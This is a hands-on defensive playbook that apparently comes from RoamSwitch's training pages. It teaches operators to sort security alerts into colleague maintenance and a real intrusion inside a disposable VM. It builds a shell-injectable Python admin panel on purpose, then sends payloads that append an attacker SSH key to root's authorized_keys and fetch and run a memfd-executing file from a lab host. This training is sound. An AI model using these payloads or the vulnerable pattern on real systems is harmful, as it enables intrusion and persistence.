An alert fired: false alarm or real? | Learn Defense with RoamSwitch

#The situation

Around 10:30 a.m., seven alerts arrive within one minute

A file was tampered with, something ran from a temp directory, /etc/shadow was read, and a program ran from a file in memory. You are the operator on duty. You also know that a colleague was doing maintenance on this server at the same time.

Many alerts fire for your own team's work as well. Treat them all as real and you cannot keep up. Dismiss them all as false alarms and you miss the real one. This playbook sorts alerts one by one into false alarm or real, with every step triggered for real inside a disposable VM.

Step	What you do	What you use
1. Trigger	Run an operator's work and a dummy attack on the same VM	A network namespace, a practice service that is vulnerable on purpose
2. Read	For each alert, read what happened, who, which process, and its parent	Notification history, Critical system file tamper monitoring, Process execution recording and attack-technique detection, Kernel-level intrusion detection and autonomous isolation
3. Corroborate	Check the alert against the timeline and the exec records	Incident timeline, `events tree`, `events search`, the sshd log
4. Respond	Decide: keep the isolation, lift it, add to the allow-list, or keep investigating	`server ebpf`, Automatic evidence capture on containment, `emergency-restore`
5. Undo	Clean up the practice setup

How to write allow-list entries is in Tuning out false positives, and how to run the hour after an isolation is in A containment fired: the first hour. This playbook covers the step before both: is this one alert a false alarm, or real?

Practice in a disposable environment

This playbook runs a service that is vulnerable on purpose and appends a key line to root's authorized_keys. Always do it in a disposable VM. The attacker's traffic comes only from a namespace inside the VM; nothing is aimed outside it. The key you add is a practice key made on the spot.

#Prepare the setup and trigger the alerts

Two sources are created inside the VM. Both are network namespaces inside the VM.

Address	Role
`10.99.0.2`	A colleague doing maintenance (logs in over SSH with a key)
`10.99.0.3`	The attacker (runs their own download server)

On the server, a practice admin panel labapp.service runs as root. It passes the value of /ping?host= straight to a shell, so it is vulnerable on purpose. The story is an old admin panel left running as root.

Prepare Falco, the sources and the practice service

These steps install a package and add a service and network settings (they change the machine). The undo steps are in the last lab.

Install Falco as the eBPF Guard's sensor, from Falco's own repository.

curl -fsSL https://falco.org/repo/falcosecurity-packages.asc \
  | sudo gpg --batch --yes --dearmor -o /usr/share/keyrings/falco-archive-keyring.gpg
echo "deb [signed-by=/usr/share/keyrings/falco-archive-keyring.gpg] https://download.falco.org/packages/deb stable main" \
  | sudo tee /etc/apt/sources.list.d/falcosecurity.list >/dev/null
sudo apt-get update -qq
sudo DEBIAN_FRONTEND=noninteractive FALCO_FRONTEND=noninteractive FALCO_DRIVER_CHOICE=modern_ebpf apt-get install -y -qq falco
sudo roamswitch server restart
systemctl is-active falco-modern-bpf

Output

active

Create the namespace for the sources, and two practice keys made on the spot: the operator's lab_op and the attacker's lab_atk.

sudo ip netns add outside
sudo ip link add veth-host type veth peer name veth-out
sudo ip link set veth-out netns outside
sudo ip addr add 10.99.0.1/24 dev veth-host
sudo ip link set veth-host up
sudo ip netns exec outside ip addr add 10.99.0.2/24 dev veth-out
sudo ip netns exec outside ip addr add 10.99.0.3/24 dev veth-out
sudo ip netns exec outside ip link set veth-out up
sudo ssh-keygen -q -t ed25519 -N "" -C lab-operator -f /root/lab_op
sudo ssh-keygen -q -t ed25519 -N "" -C backup@example -f /root/lab_atk
sudo cat /root/lab_op.pub >> /home/admin/.ssh/authorized_keys

Put the practice admin panel in place, and the dummy file the attacker hands out. The dummy only copies /bin/sleep into a file in memory (memfd) and runs it from there. It imitates the shape of running code without leaving a file.

sudo mkdir -p /srv/labapp /srv/lab-attacker
sudo tee /srv/labapp/app.py >/dev/null <<'P'
# 練習用のダミーの管理画面。/ping?host= の値をそのままシェルに渡す(わざと脆弱にしてある)
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs
import subprocess
class H(BaseHTTPRequestHandler):
    def do_GET(self):
        host = parse_qs(urlparse(self.path).query).get("host", ["127.0.0.1"])[0]
        out = subprocess.run("ping -c1 -W1 " + host, shell=True, capture_output=True, text=True).stdout
        self.send_response(200); self.end_headers(); self.wfile.write(out.encode())
HTTPServer(("0.0.0.0", 80), H).serve_forever()
P
printf '[Service]\nExecStart=/usr/bin/python3 /srv/labapp/app.py\n' | sudo tee /etc/systemd/system/labapp.service >/dev/null
sudo systemctl daemon-reload
sudo systemctl start labapp
sudo tee /srv/lab-attacker/update >/dev/null <<'P'
#!/usr/bin/python3
# 練習用のダミー: /bin/sleep をメモリ上のファイルにコピーし、そこから動かすだけ
import os
fd = os.memfd_create("kworker", 0)
os.write(fd, open("/bin/sleep", "rb").read())
os.execv(f"/proc/self/fd/{fd}", ["kworker", "120"])
P
sudo ip netns exec outside setsid python3 -m http.server 8080 --bind 10.99.0.3 --directory /srv/lab-attacker </dev/null >/dev/null 2>&1 &
sudo ip netns exec outside curl -s 'http://10.99.0.1/ping?host=127.0.0.1' | head -2
sudo roamswitch fim update

Output

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.025 ms
  📝 Generating baseline database from current critical files...
  ✓ FIM baseline database successfully updated and saved. (92 entries recorded)
  ✓ SUID / SGID baseline updated. (20 entries recorded)

If the check request reaches the panel before the service is listening, the PING lines do not appear. Then run the curl line again. The comments in the two files are in Japanese, as they were run. The final fim update puts the files the setup changed (the operator's key, the unit file) into the tamper baseline. Only changes from here on raise alerts. During the setup, one tampering alert for each of these two files also arrives at once.

Last, check that no package operation is running. Right after a VM boots, automatic updates (unattended-upgrades) may run. While a package operation is in progress, tampering alerts are held until it ends.

sudo fuser -v /var/lib/dpkg/lock-frontend; echo fuser=$?

Output

fuser=1

1 means no process holds the dpkg lock. If it is 0, wait for it to finish before going on.

Next, trigger the work that looks suspicious and the real signs. First, the colleague's work. They log in over SSH, change one line of a config, run a checking tool from /tmp, and check one line of the password records. All of these happen in normal maintenance.

Run the operator's work, then the attack

These steps change /etc/ssh/sshd_config and root's authorized_keys (they change the machine). The undo steps are in later labs.

O="-i /root/lab_op -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR -o BatchMode=yes"
sudo ip netns exec outside ssh $O -b 10.99.0.2 admin@10.99.0.1 '
sudo sed -i "s/^#MaxAuthTries 6/MaxAuthTries 3/" /etc/ssh/sshd_config
cp /usr/bin/df /tmp/diskcheck
/tmp/diskcheck -h / | tail -1
sudo grep -c "^admin:" /etc/shadow'

Output

/dev/vda1        17G  3.8G   14G  23% /
1

Next, the attacker uses the hole in the admin panel. The first request appends a key line to root's authorized_keys. The second fetches a file from the attacker's server and runs it.

sudo ip netns exec outside curl -s -G --max-time 5 http://10.99.0.1/ping \
  --data-urlencode "host=127.0.0.1; echo \"$(sudo cat /root/lab_atk.pub)\" >> /root/.ssh/authorized_keys" | head -1
sudo ip netns exec outside curl -s -G --max-time 10 http://10.99.0.1/ping \
  --data-urlencode 'host=127.0.0.1; mkdir -p /tmp/.cache; curl -s -o /tmp/.cache/update http://10.99.0.3:8080/update; chmod +x /tmp/.cache/update; /tmp/.cache/update'; echo "curl: exit $?"

Output

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
curl: exit 28

The second request got no answer and was cut off after 10 seconds (exit code 28). The response chapter shows why. List the alert titles, newest first.

sudo roamswitch notifications --json | jq -r '.[] | .timestamp[11:19] + "  " + .title' | head -n 12

Excerpt (the newest seven)

01:31:17  eBPF Runtime Incident: Fileless execution via memfd_create (Critical)
01:31:17  🔎 Suspicious execution pattern detected
01:31:17  🔎 Suspicious execution pattern detected
01:31:17  Critical Path FIM Tampering Detected (1 violation)
01:31:17  eBPF Runtime Incident: Read sensitive file untrusted (Warning)
01:31:16  Critical Path FIM Tampering Detected (1 violation)
01:31:16  🔎 Suspicious execution pattern detected

Times are UTC (10:31 in Japan time). Below these come the alerts from the setup steps. From the titles alone, you cannot tell which is the colleague's work and which is the attack.

After a minute or so, another alert may arrive on top. On this VM it was "Exploited or likely-exploited vulnerabilities are unpatched", and on another run also "A protection you switched on is not working" (no emergency notification channel). These come from the server's own checks, not from the attack. This lesson sorts the seven above.

#Read each alert in turn

An alert body carries the same clues every time. For each alert, read these four.

Question	Line to read
What happened	The rule, the file that changed, the severity
Who	The account on the `Process:` line. `logged in as` names the person before sudo
Which process	The executable and command on the `Process:` line
Which parent	The `Parent processes:` line. For FIM, the `SSH login:` line, or which service the process belongs to

Compare the bodies of the seven alerts

This only reads.

sudo roamswitch notifications --json | jq -r '.[0:7][] | "== " + .timestamp[11:19] + "  " + .title, .body, ""'

If other alerts arrived on top, shift the range by that many: .[1:8] for one, .[2:9] for two.

First, the two file-integrity (FIM) alerts.

Excerpt (the two FIM alerts)

== 01:31:17  Critical Path FIM Tampering Detected (1 violation)
/root/.ssh/authorized_keys: modified
  Process: root / /usr/bin/dash / command: /bin/sh -c ping -c1 -W1 127.0.0.1; echo 'ssh-ed25519 SHA256:vGXVgwD1ZtJiDL0zUIsaP6A3z/BxVjuK1qgVrBjgDGM backup@example' >> /root/.ssh/authorized_keys (pid 2779)
  No SSH login was found (it is a process of the systemd service labapp.service)

== 01:31:16  Critical Path FIM Tampering Detected (1 violation)
/etc/ssh/sshd_config: modified
  Process: root (logged in as admin) / /usr/bin/sed / command: sed -i s/^#MaxAuthTries 6/MaxAuthTries 3/ /etc/ssh/sshd_config (pid 2676)
  SSH login: the session admin opened from 10.99.0.2:53467 at 2026-11-12 01:31:16 (authentication: publickey, key SHA256:+lvnh5YhGEi8gRO8QAC3AK0GADBz4UZ+Z8KSBSHjzkc)

In both, root changed an important file. The difference is where that root came from.

sshd_config: admin logged in over SSH from 10.99.0.2 and ran sed with sudo. This is the shape of a person's work. The key fingerprint of the login is shown too
authorized_keys: there is no SSH login. A shell inside labapp.service runs echo ... >> right after ping. The value passed to the admin panel became a command. The added key is shown by its fingerprint (SHA256:…), not in full

Next, the three exec-record alerts.

Excerpt (the three exec-record alerts)

== 01:31:17  🔎 Suspicious execution pattern detected
Execution from a temp directory, deleted file or memfd (EXR-002)
Process: /memfd:kworker (PID: 2813) / triage: High
Details: memfd:kworker executed from an anonymous memory file (memfd), category: memfd, path: /memfd:kworker
Next step: sudo roamswitch events tree 2813
(notification only — nothing was blocked)
Process: root / /memfd:kworker (deleted) / command: kworker 120 (pid 2813)
Parent processes: dash ← python3.12 ← systemd

== 01:31:17  🔎 Suspicious execution pattern detected
Downloaded file executed right after download / curl|sh (EXR-003)
Process: /usr/bin/python3.12 (PID: 2813) / triage: Medium
Details: python3.12 executed a file downloaded from http://10.99.0.3:8080/update within 120s; output: /tmp/.cache/update
Next step: sudo roamswitch events tree 2813
(notification only — nothing was blocked)
Process: root / /usr/bin/python3.12 / command: /usr/bin/python3 /tmp/.cache/update (pid 2813)
Parent processes: dash ← python3.12 ← systemd

== 01:31:16  🔎 Suspicious execution pattern detected
Execution from a temp directory, deleted file or memfd (EXR-002)
Process: /tmp/diskcheck (PID: 2681) / triage: Medium
Details: execution from a world-writable directory, category: tmp, path: /tmp/diskcheck
Next step: sudo roamswitch events tree 2681
(notification only — nothing was blocked)
Process: admin / /tmp/diskcheck / command: /tmp/diskcheck -h / (pid 2681)
Parent processes: bash ← sshd ← sshd ← sshd ← systemd

EXR-002 appears twice. The rule name alone does not sort them.

/tmp/diskcheck: the parent is bash ← sshd. admin ran it from an SSH session. Triage is Medium
/memfd:kworker: the parent is dash ← python3.12 ← systemd, a child of the admin panel's python. It has the same PID 2813 as the EXR-003 alert: the file fetched from 10.99.0.3 turned into a file in memory. Triage is High
Every exec-record alert says "notification only — nothing was blocked". The body includes the events tree command to run next

Last, the two eBPF Guard alerts.

Excerpt (the two eBPF Guard alerts)

== 01:31:17  eBPF Runtime Incident: Fileless execution via memfd_create (Critical)
Severity: Critical
Autonomous Containment Action: Blocked the traffic of the service labapp.service + SIGKILL
Process: root / memfd:kworker / command: 3 120 (pid 2813)
Service: labapp.service
Detection to response: 289 ms

== 01:31:17  eBPF Runtime Incident: Read sensitive file untrusted (Warning)
Severity: Warning
Autonomous Containment Action: Logged & Monitored (guard policy: no containment)
Process: root (logged in as admin) / /usr/bin/grep / command: grep -c ^admin: /etc/shadow (pid 2733) (The process had already exited, so this comes from the exec record made at 2026-11-12 01:31:16.)
Parent processes: sudo ← sshd ← sshd ← sshd ← systemd
🔎 Automated first-pass assessment: false-positive likelihood High
Reason: The rule "Read sensitive file untrusted" is known to false-positive frequently.

The memfd run (Critical): the guard blocked this process's traffic at the level of labapp.service and killed it within 289 ms. The "Autonomous Containment Action" line names the unit it blocked. A containment is already in place. The command 3 120 appears because the file in memory was run from /proc/self/fd/3, so the process name became 3. The exec-record alert shows the real kworker 120
The /etc/shadow read (Warning): the parent is sudo ← sshd, and logged in as admin says it was admin's action. It was only recorded, not stopped

Here is the result as a table.

Time (UTC)	Alert	Who, which parent	Sorted as
01:31:16	EXR-002 `/tmp/diskcheck`	admin, `bash ← sshd`	Operator's work
01:31:16	FIM `sshd_config`	admin's sudo, SSH from `10.99.0.2`	Operator's work
01:31:17	eBPF Warning `/etc/shadow`	admin's sudo, `sudo ← sshd`	Operator's work
01:31:17	FIM `authorized_keys`	root, `labapp.service`, no SSH	Real
01:31:17	EXR-003 download and run	root, `dash ← python3.12 ← systemd`	Real
01:31:17	EXR-002 memfd	same PID 2813	Real
01:31:17	eBPF Critical memfd	same PID 2813, traffic blocked and killed	Real

This sorting is still provisional. For the operator's three, all you know is that they came from an SSH session. Whether that session really is the colleague's is checked in the next chapter.

When you may call it a false alarm

Only when all four of these hold.

Following the parents leads to an SSH session, not to a service or a web server
That login is your team's: the source, the time and the key fingerprint match the person who did the work
The time matches the work log: ask the colleague and confirm they did that at that time
What changed is only the intended change: for sshd_config, only the line they changed

If any one is missing, treat it as real. A shell under a service changing an important file, running a file fetched from an unknown address, running from a file in memory: investigate these three as real first, even when a work log exists.

The automated first-pass "false-positive likelihood High" reflects how the rule behaves in general. It does not look at whose action this one was. In the other direction, the tampering first-pass report (/var/lib/roamswitch/fim_investigations/) scores a change to sudoers, the SSH config, authorized_keys, shadow or PAM as "False-positive likelihood: Low" regardless of other signs (checked in the code). That holds for a colleague's work too.

#Check against the timeline and the records

An alert body holds only the key points. Check what came before and after in the timeline and the exec records.

Check the timeline, the process ancestry and the login

This only reads. Replace the PIDs with the ones in your own alerts.

sudo roamswitch timeline | head -n 60

Excerpt

  2026-11-12T01:31:17.595824439+00:00  [eBPF Guard]  open
    Fileless execution via memfd_create: Blocked the traffic of the service labapp.service + SIGKILL
    process: memfd:kworker (pid 2813)
    detection-to-containment latency: 287ms
    action taken: Blocked the traffic of the service labapp.service + SIGKILL
    evidence bundle: 20261112T013117Z-145e218f-2851  manifest sha256:d7703d5c2482093d  (0 files)

  └─ 2026-11-12T01:31:17.692379690+00:00  [Incident Capture]  open
       incident evidence bundle captured: /var/lib/roamswitch/incident-evidence/20261112T013117Z-145e218f-2851
       action taken: evidence saved
       evidence bundle: 20261112T013117Z-145e218f-2851  manifest sha256:d7703d5c2482093d  (0 files)

  2026-11-12T01:31:17.571135563+00:00  [Incident Capture]  open
    incident evidence bundle captured: /var/lib/roamswitch/incident-evidence/20261112T013117Z-0609331e-2834
    process: memfd:kworker (pid 2813)
    action taken: evidence saved
    evidence bundle: 20261112T013117Z-0609331e-2834  manifest sha256:894a37a5ee7ef78f  (6 files)

  2026-11-12T01:31:17.402468281+00:00  [Exec Recorder]  recorded only
    EXR-002: memfd:kworker executed from an anonymous memory file (memfd), category: memfd, path: /memfd:kworker
    process: /memfd:kworker (pid 2813)
    process ancestry: dash ← python3.12 ← systemd
    MITRE ATT&CK: T1620 (Reflective Code Loading)
    action taken: notify

  2026-11-12T01:31:17.338803891+00:00  [Exec Recorder]  recorded only
    EXR-003: python3.12 executed a file downloaded from http://10.99.0.3:8080/update within 120s; output: /tmp/.cache/update
    process: /usr/bin/python3.12 (pid 2813)
    process ancestry: dash ← python3.12 ← systemd
    MITRE ATT&CK: T1105 (Ingress Tool Transfer)
    action taken: notify

  2026-11-12T01:31:17.192747159+00:00  [eBPF Guard]  recorded only
    Read sensitive file untrusted: Logged & Monitored (guard policy: no containment)
    process: grep (pid 2733)
    process ancestry: sudo ← sshd ← sshd ← sshd ← systemd
    MITRE ATT&CK: T1552 (Unsecured Credentials)
    action taken: Logged & Monitored (guard policy: no containment)

  2026-11-12T01:31:17.188750603+00:00  [FIM]  recorded only
    /root/.ssh/authorized_keys: modified (no SSH login found: service labapp.service)
    process: dash (pid 2779)
    action taken: notified

The guard, the exec records, FIM and the evidence capture sit on one timeline. From the key line at 01:31:17.19 to the containment at 01:31:17.69 is under a second. The process state (6 files) was saved before the kill. "open" next to the source marks an entry where a containment acted; "recorded only" marks one that only alerted.

Use events tree to follow the parents of the two EXR-002 alerts by PID.

sudo roamswitch events tree 2813
sudo roamswitch events tree 2681

Output

1 /usr/lib/systemd/systemd
2459 /usr/bin/python3.12
2807 /usr/bin/dash
        2813 /memfd:kworker 120
1 /usr/lib/systemd/systemd
2557 /usr/sbin/sshd
2558 /usr/sbin/sshd
2673 /usr/sbin/sshd
2674 /usr/bin/bash
            2681 /tmp/diskcheck -h /

The memfd process's grandparent is python3, PID 2459. Find out what it is.

systemctl status labapp --no-pager | head -4

Output

● labapp.service
     Loaded: loaded (/etc/systemd/system/labapp.service; static)
     Active: active (running) since Thu 2026-11-12 01:30:53 UTC; 54s ago
   Main PID: 2459 (python3)

It is the admin panel's service. An attack is not always a single request. Pass the parent PID to events search --parent and everything that process started directly is listed.

sudo roamswitch events search --since 1h --parent 2459

Output

2026-11-12T01:31:17.288Z pid=2807 ppid=2459 root /usr/bin/dash -c ping -c1 -W1 127.0.0.1; mkdir -p /tmp/.cache; curl -s -o /tmp/.cache/update http://10.99.0.3:8080/update; chmod +x /tmp/.cache/update; /tmp/.cache/update
2026-11-12T01:31:17.187Z pid=2779 ppid=2459 root /usr/bin/dash -c ping -c1 -W1 127.0.0.1; echo 'ssh-ed25519 SHA256:vGXVgwD1ZtJiDL0zUIsaP6A3z/BxVjuK1qgVrBjgDGM backup@example' >> /root/.ssh/authorized_keys
2026-11-12T01:30:54.557Z pid=2468 ppid=2459 root /usr/bin/dash -c ping -c1 -W1 127.0.0.1

Three lines. The bottom one, at 01:30:54, is the correct use you checked in the setup lab. The two above are the attacker's two requests. The added key appears here by its fingerprint too.

Now the operator's side. The SSH login line of an alert shows the source, the login time and the key fingerprint. Check the same login in the sshd log too, and compare it with the key the colleague uses.

sudo journalctl -u ssh --since -30min --no-pager | grep Accepted
ssh-keygen -lf /home/admin/.ssh/authorized_keys

Output

Nov 12 01:31:16 ubuntu sshd[2558]: Accepted publickey for admin from 10.99.0.2 port 53467 ssh2: ED25519 SHA256:+lvnh5YhGEi8gRO8QAC3AK0GADBz4UZ+Z8KSBSHjzkc
256 SHA256:+lvnh5YhGEi8gRO8QAC3AK0GADBz4UZ+Z8KSBSHjzkc lab-operator (ED25519)

sshd[2558] is the same sshd PID that events tree 2681 showed. The port 53467 and the key fingerprint also match the alert's SSH login line. The key is lab-operator, the colleague's key. Conditions 1 and 2 now hold. For 3 and 4, ask the colleague about the time and what they did.

Also look at the line added to root's authorized_keys, and at the current FIM result.

sudo tail -n 1 /root/.ssh/authorized_keys | ssh-keygen -lf -
sudo roamswitch fim verify

Excerpt

256 SHA256:vGXVgwD1ZtJiDL0zUIsaP6A3z/BxVjuK1qgVrBjgDGM backup@example (ED25519)
  🔍 Verifying integrity of critical system binaries and configs... (92 files)
  🚨 File modification or tampering detected!
    [modified] /root/.ssh/authorized_keys
    [modified] /etc/ssh/sshd_config

The fingerprint is the same one the alert and events search showed, so this is the key that was added.

While you investigate, someone else may install a package. See what fim verify shows then. First, keep a copy of the current result.

sudo roamswitch fim verify | grep -F '[modified]' | sudo tee /root/fim-before-apt.txt
sudo DEBIAN_FRONTEND=noninteractive apt-get install -y -qq chrony > /tmp/apt-chrony.log 2>&1; echo "apt: exit $?"
grep -A5 RoamSwitch /tmp/apt-chrony.log
sudo roamswitch fim verify | sed -n 1,5p

Output

    [modified] /root/.ssh/authorized_keys
    [modified] /etc/ssh/sshd_config
apt: exit 0
RoamSwitch: package chrony added the system group _chrony (GID 112). It was taken into the FIM baseline.
RoamSwitch: package chrony added the system account _chrony (UID 109, cannot log in). It was taken into the FIM baseline.
RoamSwitch: 2 changes are not explained by the package update and were not taken into the FIM baseline.
  /root/.ssh/authorized_keys (modified): it is not a file of any package (it already differed from the baseline before the update)
  /etc/ssh/sshd_config (modified): it is not a file of any package (it already differed from the baseline before the update)
Check: sudo roamswitch fim verify. Once you know the changes are legitimate: sudo roamswitch fim update
  🔍 Verifying integrity of critical system binaries and configs... (92 files)
  🚨 File modification or tampering detected!
    [modified] /root/.ssh/authorized_keys
    [modified] /etc/ssh/sshd_config
  2 of these were left out of the baseline by the package update at 2026-11-12 01:31, which does not explain them.

After apt, both changes were still in fim verify. RoamSwitch records the state before and after each update with an apt hook (/etc/apt/apt.conf.d/99roamswitch-fim). It takes a change into the baseline only when a package in that update owns the file and the content matches the package's record. The system account that chrony added was taken in, with one line of notice each.

Do not run `fim update` until the investigation is done

sudo roamswitch fim update takes every current file, tampering included, as the new baseline. After it, the attacker's key no longer shows in fim verify. When a tampering alert arrives, first save the fim verify result, and ask the other operators not to run fim update until you are done. The notification history and the timeline keep the record of the tampering.

#Decide the response

Once sorted, decide a response for each alert. There are four choices: keep the isolation, lift it, add to the allow-list, or keep investigating.

Check the scope of the isolation, close the entry point, then lift it

These steps stop a service, delete the key line and lift the isolation (they change the machine).

Look at the current isolation.

sudo roamswitch server ebpf

Excerpt

  Current isolation: [Isolated: the traffic of the service labapp.service]
  Isolated PIDs: [2813 (exited)]
  The isolated process (2813) has already ended. The rule that blocks its traffic covers all of the traffic of the service labapp.service, so it stays. To lift it, run sudo roamswitch emergency-restore.
  Maintenance ports kept open: [22]
  First hour after an incident: https://roamswitch.com/en/incident-first-hour.html
  Last action: 2026-11-12T01:31:17.308292081+00:00

  [Detected incidents]
   🚨 [2026-11-12T01:31:17.306043554Z] Fileless execution via memfd_create - Blocked the traffic of the service labapp.service + SIGKILL (Process: memfd:kworker)
   🚨 [2026-11-12T01:31:16.980076710Z] Read sensitive file untrusted - Logged & Monitored (guard policy: no containment) (Process: grep)

The isolation covers the service the process belonged to, labapp.service. The process has ended, but the rule that blocks traffic is still there. Check what the rule covers and whether it works.

sudo nft list ruleset | grep -n -B3 -A3 "cgroupv2"
sudo ip netns exec outside curl -s --max-time 5 'http://10.99.0.1/ping?host=127.0.0.1' >/dev/null; echo "curl: exit $?"
sudo ip netns exec outside ssh $O -b 10.99.0.2 admin@10.99.0.1 'echo ssh ok from $SSH_CLIENT'

Output

94-table inet roamswitch_isolate {
95-	chain process_block {
96-		type filter hook output priority dstnat; policy accept;
97:		socket cgroupv2 level 2 "system.slice/labapp.service" drop
98-	}
99-}
curl: exit 28
ssh ok from 10.99.0.2 49783 22

The rule drops traffic leaving labapp.service. That is why the second request in the attack lab was cut off: no answer could come back. The operator's SSH still works. Look at where the evidence went, too.

sudo ls /var/lib/roamswitch/incident-evidence/
sudo sh -c 'for d in /var/lib/roamswitch/incident-evidence/*; do echo "$d"; ls "$d"; done'

Output

20261112T013117Z-0609331e-2834
20261112T013117Z-145e218f-2851
/var/lib/roamswitch/incident-evidence/20261112T013117Z-0609331e-2834
manifest.json
process
/var/lib/roamswitch/incident-evidence/20261112T013117Z-145e218f-2851
manifest.json

process holds the process state from before the kill: command line, environment, memory map, open files, ancestry and status. The other bundle is for the packet capture. This VM has no tshark, so its manifest.json records "tshark was not found (it is in the tshark package on Debian and Ubuntu, …)" and it is empty.

Close the entry point. Stop the service, and delete the added key line and the fetched file.

sudo systemctl stop labapp
sudo sed -i '/backup@example/d' /root/.ssh/authorized_keys
sudo rm -rf /tmp/.cache
sudo roamswitch fim verify

Excerpt

  🚨 File modification or tampering detected!
    [modified] /etc/ssh/sshd_config
  1 of these was left out of the baseline by the package update at 2026-11-12 01:31, which does not explain it.

With the key line deleted, authorized_keys matches the baseline again and drops out of the list. What remains is the colleague's sshd_config change. Having confirmed only the intended line changed, take the baseline again and lift the isolation. emergency-restore runs once you answer y to its prompt.

sudo roamswitch fim update
sudo roamswitch emergency-restore
sudo roamswitch server ebpf | sed -n 5,6p

Excerpt

  ✓ FIM baseline database successfully updated and saved. (92 entries recorded)
  ✓ SUID / SGID baseline updated. (20 entries recorded)

  Current state:
    Pinpoint isolation (blocked: the traffic of the service labapp.service)
  Recover the network? [y/N] y
  🔄 Lifting all emergency isolation and restoring network baseline...
    ✓ Isolation records
    ✓ Firewall tables that can stop traffic
    ✓ DNS settings
    ✓ Connection tracking
  These firewall tables were left as they are, as they are not an isolation:
    - roamswitch_server: the server's inbound rules (only ssh_ports and allowed_ports are let in; the usual protection)
  ✓ The network was recovered.
  The rules removed here, such as port-scan detection, stay off until a restart. To put them back: sudo systemctl restart roamswitch-server

  Current isolation: [Not isolated]
  Last action: 2026-11-12T01:32:16.729870597+00:00

Before the prompt, it shows what it is blocking now (the traffic of the service labapp.service). Answering y removed that rule. server ebpf shows it is no longer isolated.

The response for each alert

The ones sorted as real (the four from the admin panel)

Keep the isolation: do not lift it while the entry point (labapp.service) is open. Lift it, and the same request gets through again
Keep investigating: read everything the service started with events search --parent <the service PID>. It finds actions that finished before the containment, such as the added key
Lift the isolation: only after stopping the service, deleting the added key and file, and checking with fim verify. What comes next is in A containment fired: the first hour

The ones sorted as false alarms (the colleague's three)

The sshd_config change: check that only the intended line changed, and take it into the baseline with fim update after the attack is cleaned up
Running /tmp/diskcheck: the allow-list is for the eBPF Guard's containment. It does not stop exec-record alerts. Ask the colleague to keep checking tools in a managed location, not in /tmp
Reading /etc/shadow: it was only recorded; nothing was contained. Adding it to the allow-list leaves the alerts in place (Tuning out false positives). There is no reason to add it, so close it as a record

Do not do these

Add the memfd execution rule to the allow-list. Running code without a file is common in attacks. An allowed pair is no longer contained
Switch off EXR-002 with exec_rules_disabled. As this playbook showed, running from /tmp and running from memfd are the same EXR-002. Silencing the colleague's /tmp/diskcheck also silences the attacker's memfd alert
Run fim update before saving the fim verify result. The tampering enters the baseline and drops out of the list
Run emergency-restore before closing the entry point. The isolation is stopping traffic from an entry point that is still open

#Undo

Clean up the practice setup

These steps remove what the practice added (they change the machine).

sudo ip netns pids outside | xargs -r sudo kill
sudo ip netns del outside
sudo rm -f /etc/systemd/system/labapp.service
sudo systemctl daemon-reload
sudo rm -rf /srv/labapp /srv/lab-attacker /tmp/diskcheck /root/lab_op /root/lab_op.pub /root/lab_atk /root/lab_atk.pub /root/fim-before-apt.txt
sudo sed -i '/lab-operator/d' /home/admin/.ssh/authorized_keys
sudo sed -i 's/^MaxAuthTries 3/#MaxAuthTries 6/' /etc/ssh/sshd_config
sudo DEBIAN_FRONTEND=noninteractive apt-get purge -y -qq chrony >/dev/null 2>&1; echo "apt: exit $?"
sudo roamswitch fim verify

Excerpt

apt: exit 0
  🔍 Verifying integrity of critical system binaries and configs... (91 files)
  🚨 File modification or tampering detected!
    [modified] /etc/shadow
    [deleted] /etc/systemd/system/labapp.service
    [modified] /home/admin/.ssh/authorized_keys
    [modified] /etc/group
    [modified] /etc/ssh/sshd_config
    [modified] /etc/gshadow
    [modified] /etc/passwd
  7 of these were left out of the baseline by the package update at 2026-11-12 01:32, which does not explain them.

The list holds the files the cleanup put back, and the account removal from purging chrony. The apt hook takes in only system accounts a package adds, not removals. Once you have confirmed these are all from the cleanup, take the baseline again and restart the service.

sudo roamswitch fim update
sudo roamswitch fim verify | sed -n 2p
sudo systemctl restart roamswitch-server
systemctl is-active roamswitch-server

Output

  📝 Generating baseline database from current critical files...
  ✓ FIM baseline database successfully updated and saved. (90 entries recorded)
  ✓ SUID / SGID baseline updated. (20 entries recorded)
  ✓ No tampering detected. All files verified healthy. (90 files monitored)
active

After emergency-restore, restart the service as its message says, to apply the protection profile again. To remove Falco too, use sudo apt-get remove falco.

#What you cannot see

What this playbook checked

In a disposable Ubuntu 24.04 VM, three pieces of operator work and a dummy attack were run, and the seven alerts were read in both Japanese and English. Both runs were made with no package operation in progress.

A person does the sorting. The automated first-pass comes from how the rule behaves in general, or from the kind of file. It does not look at whose action this one was
Without Falco, the two eBPF Guard alerts do not appear. The containment of the memfd run also starts from a Falco detection
The isolation applied to traffic leaving labapp.service (checked in the nftables rule). The operator's SSH (maintenance port 22) still worked
No packet capture is taken without tshark. In this VM, only the process state was kept
An attacker deleting the exec records is not covered here. How to check the records for tampering is in events verify in Evidence, notifications, and operations

Check yourself

The alert "Execution from a temp directory, deleted file or memfd (EXR-002)" has the parents bash ← sshd ← sshd ← sshd ← systemd. What do you check before calling it a false alarm?

Show the explanation

Even with sshd as the parent, it is real if the session is the attacker's. Read the key fingerprint on the Accepted line of journalctl -u ssh and compare it with the worker's key. Switching off EXR-002 also silences alerts for running from memfd.

Check yourself

While you investigate tampering of root's authorized_keys, a colleague installs a package with apt. What can you say about fim verify right after?

Show the explanation

The apt hook takes a change into the baseline only when a package in that update owns the file and the content matches the package's record. In the lab, apt printed "2 changes are not explained", and both stayed in fim verify. What does take tampering into the baseline is fim update.

#What to learn next

How to run the hour after an isolation is in A containment fired: the first hour
How to allow a known false alarm with a reason and an end date is in Tuning out false positives
The full set of exec-record detection rules is in Suspicious execution and malware

Features covered

Related techniques (ATT&CK): T1098.004 T1548.003 T1059.004 T1027 T1105 T1553.001

What was verified

Verified on 2026-11-12. Target: Linux 1.17.39. On fresh disposable Ubuntu 24.04 VMs with the published 1.17.39 and Falco, ran everything from setup to cleanup, in Japanese and English on separate VMs, with no package operation in progress.

Command output varies with the product version and the environment. If yours differs, check the version first.